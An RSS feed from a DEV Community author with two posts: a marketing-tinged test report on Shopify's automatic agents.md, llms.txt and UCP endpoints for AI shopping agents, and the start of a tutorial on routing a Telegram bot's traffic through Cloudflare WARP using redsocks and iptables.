<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Abhay</title>
    <description>The latest articles on DEV Community by Abhay (@abhaygawade).</description>
    <link>https://dev.to/abhaygawade</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F55384%2Feb0134b1-0e2d-4466-948e-95436bbb5bc8.jpeg</url>
      <title>DEV Community: Abhay</title>
      <link>https://dev.to/abhaygawade</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/abhaygawade"/>
    <language>en</language>
    <item>
      <title>Shopify agents.md and llms.txt: What We Found Testing Real Stores</title>
      <dc:creator>Abhay</dc:creator>
      <pubDate>Mon, 02 Nov 2026 13:02:20 +0000</pubDate>
      <link>https://dev.to/abhaygawade/shopify-agentsmd-and-llmstxt-what-we-found-testing-real-stores-okb</link>
      <guid>https://dev.to/abhaygawade/shopify-agentsmd-and-llmstxt-what-we-found-testing-real-stores-okb</guid>
      <description>&lt;p&gt;&lt;em&gt;Originally published on the &lt;a href="https://www.pingaura.ai/blog/shopify-agents-md-llms-txt?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=shopify-agents-md"&gt;PingAura blog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Standard Shopify storefronts now serve &lt;strong&gt;&lt;code&gt;/llms.txt&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;/agents.md&lt;/code&gt;&lt;/strong&gt; automatically. Both return an &lt;strong&gt;Agent Instructions&lt;/strong&gt; page that tells AI agents how to shop the store.&lt;/li&gt;
&lt;li&gt;The page points agents to the &lt;strong&gt;Shop skill&lt;/strong&gt; (personalised discovery, accelerated checkout with &lt;strong&gt;Shop Pay&lt;/strong&gt;) and to the &lt;strong&gt;Universal Commerce Protocol (UCP)&lt;/strong&gt;: a &lt;code&gt;/.well-known/ucp&lt;/code&gt; profile, an &lt;strong&gt;MCP endpoint&lt;/strong&gt; at &lt;code&gt;/api/ucp/mcp&lt;/code&gt;, and &lt;strong&gt;WebMCP&lt;/strong&gt; tools in the browser at checkout.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Headless and custom storefronts do not get this automatically.&lt;/strong&gt; On the headless stores we checked, both files returned 404.&lt;/li&gt;
&lt;li&gt;If you run a standard Shopify theme, an &lt;strong&gt;llms.txt generator app&lt;/strong&gt; is now largely redundant. To change the file, Shopify supports an &lt;strong&gt;&lt;code&gt;agents.md.liquid&lt;/code&gt;&lt;/strong&gt; theme template, which also serves &lt;code&gt;/llms.txt&lt;/code&gt; and &lt;code&gt;/llms-full.txt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;In our tests, Shopify returned &lt;strong&gt;403 to GPTBot, ClaudeBot and PerplexityBot on app proxy paths&lt;/strong&gt; (&lt;code&gt;/apps/...&lt;/code&gt;), while the same bots could read the storefront itself. Content an app serves through the proxy is invisible to those crawlers.&lt;/li&gt;
&lt;li&gt;Being reachable by agents is &lt;strong&gt;necessary but not sufficient&lt;/strong&gt;. Whether AI recommends you still depends on product data, content, reviews, trust pages, crawler access and third-party citations.&lt;/li&gt;
&lt;li&gt;Check your store with the free &lt;a href="https://www.pingaura.ai/tools/shopify-ai-agent-readiness?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=shopify-agents-md"&gt;Shopify AI Agent Readiness Checker&lt;/a&gt; and &lt;a href="https://www.pingaura.ai/tools/product-page-ai-citability?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=shopify-agents-md"&gt;Product Page AI Citability Checker&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;For the past year, merchants have been told to add an &lt;code&gt;llms.txt&lt;/code&gt; file so that AI assistants can understand their store. A small industry of apps grew up to generate one.&lt;/p&gt;

&lt;p&gt;Shopify has made that step automatic for standard storefronts. Well-known Shopify brands on the standard storefront now serve both &lt;code&gt;/llms.txt&lt;/code&gt; and &lt;code&gt;/agents.md&lt;/code&gt;: an &lt;strong&gt;Agent Instructions&lt;/strong&gt; page written for AI agents rather than people.&lt;/p&gt;

&lt;p&gt;Plenty has been written about the rollout. We wanted to know what it actually does, so on 2 November 2026 we tested it: live standard and headless stores, the UCP profile and MCP endpoint, and a Shopify development store of our own where we sent requests as each major AI crawler. This post shares what we found, who gets the files, and what still decides whether an AI assistant puts your product in front of a shopper.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. What Shopify Now Serves on Standard Storefronts
&lt;/h2&gt;

&lt;p&gt;On the standard Shopify storefronts we checked on 2 November 2026, &lt;code&gt;/agents.md&lt;/code&gt; returns a Markdown page that Shopify calls the canonical agent-facing description of the store, and &lt;code&gt;/llms.txt&lt;/code&gt; mirrors it, word for word apart from one line pointing back to &lt;code&gt;/agents.md&lt;/code&gt;. It is headed &lt;strong&gt;Agent Instructions&lt;/strong&gt; and opens by telling the agent that it can browse and shop the store on its user's behalf.&lt;/p&gt;

&lt;p&gt;The page has four main parts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Shop skill (recommended).&lt;/strong&gt; Agents are pointed to Shopify's Shop skill. Once the user connects their Shop account, the agent gets &lt;strong&gt;personalised discovery&lt;/strong&gt; (search by text or image, similar products, purchase history) and &lt;strong&gt;accelerated cart and checkout&lt;/strong&gt; using &lt;strong&gt;Shop Pay&lt;/strong&gt; with saved addresses and payment methods. It can also look up orders, track deliveries and reorder.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;UCP integration.&lt;/strong&gt; The store states that it implements the &lt;strong&gt;Universal Commerce Protocol&lt;/strong&gt; for discovery, carts and checkout. A &lt;code&gt;GET&lt;/code&gt; to &lt;code&gt;/.well-known/ucp&lt;/code&gt; returns the store's UCP profile, and that profile advertises an &lt;strong&gt;MCP endpoint&lt;/strong&gt; at &lt;code&gt;/api/ucp/mcp&lt;/code&gt; where an agent can list and call shopping tools.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Browser integration (WebMCP).&lt;/strong&gt; For agents working in a browser, the storefront and checkout pages register &lt;strong&gt;WebMCP&lt;/strong&gt; tools. The checkout page exposes UCP tools that act on the current checkout session.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Interaction rules.&lt;/strong&gt; Orders need the buyer's authorisation. Agents must identify themselves (Shopify asks server-side agents to use &lt;strong&gt;Web Bot Auth&lt;/strong&gt;), use the provided tools rather than scripting checkout forms, and respect rate limits.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The page also lists read-only routes (&lt;code&gt;/sitemap.xml&lt;/code&gt;, &lt;code&gt;/products/{handle}&lt;/code&gt;, &lt;code&gt;/collections/all&lt;/code&gt;) and links to the store's policies. If you want the background on how protocols like this fit together, our guide to &lt;a href="https://www.pingaura.ai/blog/what-is-agentic-commerce?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=shopify-agents-md"&gt;what agentic commerce is&lt;/a&gt; covers the wider picture.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. What We Tested, and What We Found
&lt;/h2&gt;

&lt;p&gt;At PingAura, we wanted to see what this does in practice. On 2 November 2026 we requested the agent files on live stores, called the UCP profile and MCP endpoint, and set up a Shopify development store with a test app so we could see exactly which requests reach an app.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The agent files&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Check&lt;/th&gt;
&lt;th&gt;Standard storefronts (3 large brands)&lt;/th&gt;
&lt;th&gt;Headless storefronts&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/agents.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;200, Agent Instructions in Markdown, named as the canonical file&lt;/td&gt;
&lt;td&gt;404&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/llms.txt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;200, a mirror of &lt;code&gt;/agents.md&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;404&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/.well-known/ucp&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;200, JSON profile naming the MCP endpoint&lt;/td&gt;
&lt;td&gt;Not published&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/api/ucp/mcp&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Answers an MCP &lt;code&gt;tools/list&lt;/code&gt; call with shopping tools such as &lt;code&gt;get_checkout&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Not available&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two details stood out. The UCP profile answered even on our password-protected development store, so agents can find the endpoint before a store opens. And &lt;code&gt;robots.txt&lt;/code&gt; on standard storefronts now points agents to &lt;code&gt;/agents.md&lt;/code&gt; and &lt;code&gt;/.well-known/ucp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Which AI crawlers reach Shopify app content&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Many Shopify apps publish pages through the &lt;strong&gt;app proxy&lt;/strong&gt;, which serves an app's content on the store's own domain under a path such as &lt;code&gt;/apps/your-app/...&lt;/code&gt;. We sent the same requests to the storefront and to an app proxy path, changing only the user agent:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Crawler&lt;/th&gt;
&lt;th&gt;Storefront (&lt;code&gt;/&lt;/code&gt;)&lt;/th&gt;
&lt;th&gt;App proxy path (&lt;code&gt;/apps/...&lt;/code&gt;)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;GPTBot (OpenAI training)&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;403&lt;/strong&gt;, blocked by Shopify before reaching the app&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ClaudeBot (Anthropic)&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;403&lt;/strong&gt;, blocked by Shopify before reaching the app&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PerplexityBot&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;403&lt;/strong&gt;, blocked by Shopify before reaching the app&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OAI-SearchBot (ChatGPT search)&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;200, reached the app&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Chrome (a person)&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;200, reached the app&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;So if an app serves FAQ pages, guides or comparison pages through the app proxy, most AI crawlers never see them, even though shoppers do. Content you want AI assistants to read should live in the store itself: theme pages, blog posts, or product and collection pages. We tested a development store, so check your own store before relying on this: request an app proxy URL with each crawler's user agent and look at the status code.&lt;/p&gt;

&lt;p&gt;We also found that no app, ours included, can see which crawlers visit the rest of the storefront. Shopify does not expose request logs to apps, and analytics pixels only run in real browsers. The one route to full crawler data is a store that sits behind the merchant's own Cloudflare zone.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Who Gets It, and Who Does Not
&lt;/h2&gt;

&lt;p&gt;This behaviour belongs to Shopify's hosted storefront. If Shopify renders your pages, you appear to get it without doing anything.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Headless and custom storefronts are different.&lt;/strong&gt; If your front end is your own Next.js, Hydrogen or other custom build, requests for &lt;code&gt;/llms.txt&lt;/code&gt; go to your application, not to Shopify. On the headless Shopify brands we checked, &lt;code&gt;/llms.txt&lt;/code&gt; and &lt;code&gt;/agents.md&lt;/code&gt; returned 404.&lt;/p&gt;

&lt;p&gt;If you run headless, you need to decide for yourself what to publish at those paths, and whether to expose UCP. Our &lt;a href="https://www.pingaura.ai/tools/ucp-readiness-report?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=shopify-agents-md"&gt;UCP Readiness Report&lt;/a&gt; checks what an agent can find on your domain today.&lt;/p&gt;

&lt;p&gt;Separately, Shopify has announced &lt;strong&gt;Agentic Storefronts&lt;/strong&gt;, which it says syndicate merchant catalogues to AI assistants including ChatGPT, Microsoft Copilot and Gemini. That works at the catalogue level rather than through files on your domain, so headless merchants may still be represented there even without an &lt;code&gt;llms.txt&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Is Your llms.txt App Now Redundant?
&lt;/h2&gt;

&lt;p&gt;For most merchants on a standard Shopify theme, &lt;strong&gt;yes&lt;/strong&gt;. Shopify now serves an &lt;code&gt;llms.txt&lt;/code&gt; that is more useful to a shopping agent than a generated list of links, because it tells the agent how to act, not only where to read.&lt;/p&gt;

&lt;p&gt;Two caveats:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Check what is actually live.&lt;/strong&gt; Fetch &lt;code&gt;https://yourstore.com/llms.txt&lt;/code&gt; and &lt;code&gt;https://yourstore.com/agents.md&lt;/code&gt; and see what comes back. If an app or a redirect is changing those paths, you will see it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;An llms.txt was never the thing that made AI recommend you.&lt;/strong&gt; It is a map. It helps an agent that has already decided to visit you. It does not persuade an assistant to choose you over a competitor.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you do want to change what agents read, you no longer need an app. Shopify's theme documentation describes an &lt;strong&gt;&lt;code&gt;agents.md.liquid&lt;/code&gt;&lt;/strong&gt; template that controls &lt;code&gt;/agents.md&lt;/code&gt; and is also used for &lt;code&gt;/llms.txt&lt;/code&gt; and &lt;code&gt;/llms-full.txt&lt;/code&gt; unless those have their own &lt;code&gt;llms.txt.liquid&lt;/code&gt; or &lt;code&gt;llms-full.txt.liquid&lt;/code&gt; template. Shopify recommends adding it only when the managed file does not cover your needs.&lt;/p&gt;

&lt;p&gt;The second caveat is where most of the work still lies.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Discoverable Is Not the Same as Recommended
&lt;/h2&gt;

&lt;p&gt;When a shopper asks ChatGPT or Gemini "what are the best merino running shoes under £120", the assistant builds an answer from product data it can trust and sources it already relies on. Agent Instructions help it transact. They do not decide which products appear in the answer.&lt;/p&gt;

&lt;p&gt;What still decides that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Complete Product and Offer schema.&lt;/strong&gt; Price, currency, &lt;strong&gt;availability&lt;/strong&gt;, &lt;strong&gt;brand&lt;/strong&gt;, and a &lt;strong&gt;GTIN&lt;/strong&gt; (or MPN) on every product page. Missing identifiers make it harder for an engine to match your product to the one it is reasoning about.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Clear specs and comparisons.&lt;/strong&gt; Materials, dimensions, sizing, compatibility and care, written as text rather than buried in images. Answer engines quote what they can read.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reviews as text.&lt;/strong&gt; Star ratings alone say little. Review text that mentions real use cases gives an assistant something to cite.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trust pages.&lt;/strong&gt; Shipping, returns, warranty, contact details and an about page. Assistants weigh whether a store looks safe to send a buyer to.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Crawler access.&lt;/strong&gt; Make sure &lt;strong&gt;GPTBot&lt;/strong&gt;, &lt;strong&gt;ClaudeBot&lt;/strong&gt;, &lt;strong&gt;PerplexityBot&lt;/strong&gt; and similar crawlers are not blocked in &lt;code&gt;robots.txt&lt;/code&gt; or by a firewall rule.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Citations elsewhere.&lt;/strong&gt; Reviews, comparison articles, forums and press that AI answers already draw on. If those sources never mention you, a perfect product page still struggles.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The free &lt;a href="https://www.pingaura.ai/tools/product-page-ai-citability?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=shopify-agents-md"&gt;Product Page AI Citability Checker&lt;/a&gt; checks how easily AI assistants can cite a single product page, and the &lt;a href="https://www.pingaura.ai/tools/shopify-ai-agent-readiness?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=shopify-agents-md"&gt;Shopify AI Agent Readiness Checker&lt;/a&gt; checks how ready your whole store is for AI shopping agents.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. How to Measure Whether It Is Working
&lt;/h2&gt;

&lt;p&gt;Files on your domain are an input. The outputs are whether AI assistants mention you and whether those mentions turn into sales.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;AI visibility across engines.&lt;/strong&gt; Track the questions your shoppers actually ask across ChatGPT, Gemini, Perplexity, Microsoft Copilot, Google AI Overviews and others, and see how often your brand and products appear compared with competitors.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AI referral traffic and revenue.&lt;/strong&gt; Watch visits from AI assistants in your analytics, and the orders they lead to. Many AI apps do not pass a referrer, so some of this traffic shows up as direct; read our guide to &lt;a href="https://www.pingaura.ai/blog/what-is-ai-traffic?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=shopify-agents-md"&gt;what AI traffic is and how to track it&lt;/a&gt; for the gaps to expect.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Product data health over time.&lt;/strong&gt; Schema and content regress when themes, apps and catalogues change. Audit regularly rather than once.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  FAQs
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Does every Shopify store now have an llms.txt?
&lt;/h3&gt;

&lt;p&gt;Every &lt;strong&gt;standard Shopify storefront&lt;/strong&gt; we checked in November 2026 served &lt;code&gt;/llms.txt&lt;/code&gt; and &lt;code&gt;/agents.md&lt;/code&gt;. &lt;strong&gt;Headless and custom storefronts&lt;/strong&gt; did not, because those paths are handled by the merchant's own front end.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the difference between llms.txt and agents.md on Shopify?
&lt;/h3&gt;

&lt;p&gt;Almost none. &lt;code&gt;/agents.md&lt;/code&gt; is the canonical &lt;strong&gt;Agent Instructions&lt;/strong&gt; page, and &lt;code&gt;/llms.txt&lt;/code&gt; mirrors it, changing only the line that says which file is canonical. Shopify's theme templates also treat &lt;code&gt;agents.md.liquid&lt;/code&gt; as the source for both.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is UCP?
&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;Universal Commerce Protocol&lt;/strong&gt; is an open protocol for agents to discover products, manage carts and complete checkout. A Shopify store publishes its UCP profile at &lt;code&gt;/.well-known/ucp&lt;/code&gt;, which points agents to an MCP endpoint for shopping tools.&lt;/p&gt;

&lt;h3&gt;
  
  
  Should I uninstall my llms.txt app?
&lt;/h3&gt;

&lt;p&gt;If you are on a standard Shopify theme, it is probably no longer needed. Check what your store serves at &lt;code&gt;/llms.txt&lt;/code&gt; first, and remove the app only once you are happy with Shopify's version.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I customise Shopify's agents.md or llms.txt?
&lt;/h3&gt;

&lt;p&gt;Yes. Add an &lt;code&gt;agents.md.liquid&lt;/code&gt; template to your theme to control &lt;code&gt;/agents.md&lt;/code&gt;, which Shopify also uses for &lt;code&gt;/llms.txt&lt;/code&gt; and &lt;code&gt;/llms-full.txt&lt;/code&gt;. Separate &lt;code&gt;llms.txt.liquid&lt;/code&gt; and &lt;code&gt;llms-full.txt.liquid&lt;/code&gt; templates override just those paths.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can AI crawlers read pages that a Shopify app serves?
&lt;/h3&gt;

&lt;p&gt;Not reliably. In our tests on a development store, Shopify returned 403 to GPTBot, ClaudeBot and PerplexityBot on app proxy paths (&lt;code&gt;/apps/...&lt;/code&gt;), while OAI-SearchBot and normal browsers got through. Put content you want AI assistants to read in your theme pages, blog or product pages.&lt;/p&gt;

&lt;h3&gt;
  
  
  Will AI assistants now recommend my products?
&lt;/h3&gt;

&lt;p&gt;Not automatically. The Agent Instructions help an agent &lt;strong&gt;shop&lt;/strong&gt; your store. Whether an assistant &lt;strong&gt;recommends&lt;/strong&gt; you depends on product schema, readable specs, review text, trust pages, crawler access and citations on third-party sources.&lt;/p&gt;

&lt;h3&gt;
  
  
  How can I check my store?
&lt;/h3&gt;

&lt;p&gt;Run the free &lt;a href="https://www.pingaura.ai/tools/shopify-ai-agent-readiness?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=shopify-agents-md"&gt;Shopify AI Agent Readiness Checker&lt;/a&gt; for the store, and the &lt;a href="https://www.pingaura.ai/tools/product-page-ai-citability?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=shopify-agents-md"&gt;Product Page AI Citability Checker&lt;/a&gt; for individual product pages.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Shopify has taken a step that most merchants were doing by hand: telling AI agents how to use the store. On standard storefronts, &lt;code&gt;llms.txt&lt;/code&gt;, &lt;code&gt;agents.md&lt;/code&gt;, a UCP profile and an MCP endpoint now come built in. That removes a chore and lowers the bar for agentic checkout.&lt;/p&gt;

&lt;p&gt;It does not change what wins the recommendation. &lt;strong&gt;Complete product data, readable content, real reviews, trust signals, open crawler access and third-party citations&lt;/strong&gt; still decide whether an AI assistant puts your product in its answer. Measure that directly, across engines, and tie it back to revenue.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ready to see how AI assistants recommend your store?
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.pingaura.ai?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=shopify-agents-md"&gt;&lt;strong&gt;PingAura&lt;/strong&gt;&lt;/a&gt; tracks how ChatGPT, Gemini, Perplexity and other AI assistants talk about your brand and products, audits your site for what they need, and shows the traffic they send you. Start with the free tools, then &lt;a href="https://www.pingaura.ai?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=shopify-agents-md"&gt;sign up at PingAura.ai&lt;/a&gt; to track your store across every engine.&lt;/p&gt;

</description>
      <category>shopify</category>
      <category>ai</category>
      <category>ecommerce</category>
      <category>llm</category>
    </item>
    <item>
      <title>Use the Telegram Bot API in OpenClaw via Cloudflare WARP (1.1.1.1)</title>
      <dc:creator>Abhay</dc:creator>
      <pubDate>Wed, 17 Jun 2026 06:49:20 +0000</pubDate>
      <link>https://dev.to/abhaygawade/use-the-telegram-bot-api-in-openclaw-via-cloudflare-warp-1111-1l58</link>
      <guid>https://dev.to/abhaygawade/use-the-telegram-bot-api-in-openclaw-via-cloudflare-warp-1111-1l58</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; — Route only your bot's Telegram traffic through Cloudflare WARP using redsocks + one scoped iptables rule. SSH and everything else stay direct. Tested on Ubuntu 24.04 (Debian-based).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You run a Telegram bot through &lt;strong&gt;OpenClaw&lt;/strong&gt; on your own Linux server. One day it goes quiet. The bot can't send or receive. But the server itself is fine — SSH works, &lt;code&gt;apt&lt;/code&gt; works, other sites load.&lt;/p&gt;

&lt;p&gt;The reason: your server can't reach &lt;strong&gt;&lt;code&gt;api.telegram.org&lt;/code&gt;&lt;/strong&gt;. Some networks block or throttle it, so every call times out while everything else is fine.&lt;/p&gt;

&lt;p&gt;The clean fix: route &lt;strong&gt;only OpenClaw's Telegram traffic&lt;/strong&gt; through &lt;strong&gt;Cloudflare WARP (1.1.1.1)&lt;/strong&gt;. Everything else on the box stays direct and fast — including your SSH login.&lt;/p&gt;

&lt;p&gt;Here is the full setup, step by step.&lt;/p&gt;

&lt;h2&gt;
  
  
  First, confirm it's a Telegram-only problem
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;--max-time&lt;/span&gt; 8 https://api.telegram.org/   &lt;span class="c"&gt;# hangs / times out&lt;/span&gt;
curl &lt;span class="nt"&gt;--max-time&lt;/span&gt; 8 https://www.google.com/     &lt;span class="c"&gt;# works instantly&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If Telegram times out but other sites are quick, this guide is for you.&lt;/p&gt;

&lt;h2&gt;
  
  
  How it works
&lt;/h2&gt;

&lt;p&gt;We chain three small tools:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OpenClaw ──▶ iptables ──▶ redsocks ──▶ WARP (SOCKS5) ──▶ Cloudflare ──▶ api.telegram.org
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;WARP&lt;/strong&gt; gives us a local proxy that exits through Cloudflare's network (which &lt;em&gt;can&lt;/em&gt; reach Telegram).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;redsocks&lt;/strong&gt; turns normal connections into proxy connections (so the app needs no proxy support — OpenClaw has none).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;iptables&lt;/strong&gt; picks &lt;em&gt;only&lt;/em&gt; OpenClaw's Telegram traffic and sends it to redsocks.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The trick is in that last step. We match by the app's user &lt;strong&gt;and&lt;/strong&gt; Telegram's IP ranges, so nothing else is touched.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1: Install WARP in proxy mode
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Add Cloudflare's package repo&lt;/span&gt;
curl &lt;span class="nt"&gt;-fsSL&lt;/span&gt; https://pkg.cloudflareclient.com/pubkey.gpg &lt;span class="se"&gt;\&lt;/span&gt;
  | gpg &lt;span class="nt"&gt;--yes&lt;/span&gt; &lt;span class="nt"&gt;--dearmor&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /usr/share/keyrings/cloudflare-warp-archive-keyring.gpg
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"deb [signed-by=/usr/share/keyrings/cloudflare-warp-archive-keyring.gpg] &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
  https://pkg.cloudflareclient.com/ &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;lsb_release &lt;span class="nt"&gt;-cs&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; main"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /etc/apt/sources.list.d/cloudflare-client.list
apt-get update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt-get &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; cloudflare-warp

&lt;span class="c"&gt;# Sign up (free) and switch to proxy mode&lt;/span&gt;
warp-cli &lt;span class="nt"&gt;--accept-tos&lt;/span&gt; registration new
warp-cli &lt;span class="nt"&gt;--accept-tos&lt;/span&gt; mode proxy     &lt;span class="c"&gt;# opens a SOCKS5 proxy on 127.0.0.1:40000&lt;/span&gt;
warp-cli &lt;span class="nt"&gt;--accept-tos&lt;/span&gt; connect
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;On older warp-cli builds the first command is warp-cli register instead of warp-cli registration new.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Now check that WARP can reach Telegram:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;--socks5-hostname&lt;/span&gt; 127.0.0.1:40000 https://api.telegram.org/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If that works while a plain &lt;code&gt;curl&lt;/code&gt; still times out, WARP is your bypass.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: Install redsocks
&lt;/h2&gt;

&lt;p&gt;WARP gives a SOCKS proxy, but OpenClaw doesn't speak SOCKS. &lt;strong&gt;redsocks&lt;/strong&gt; bridges that gap.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
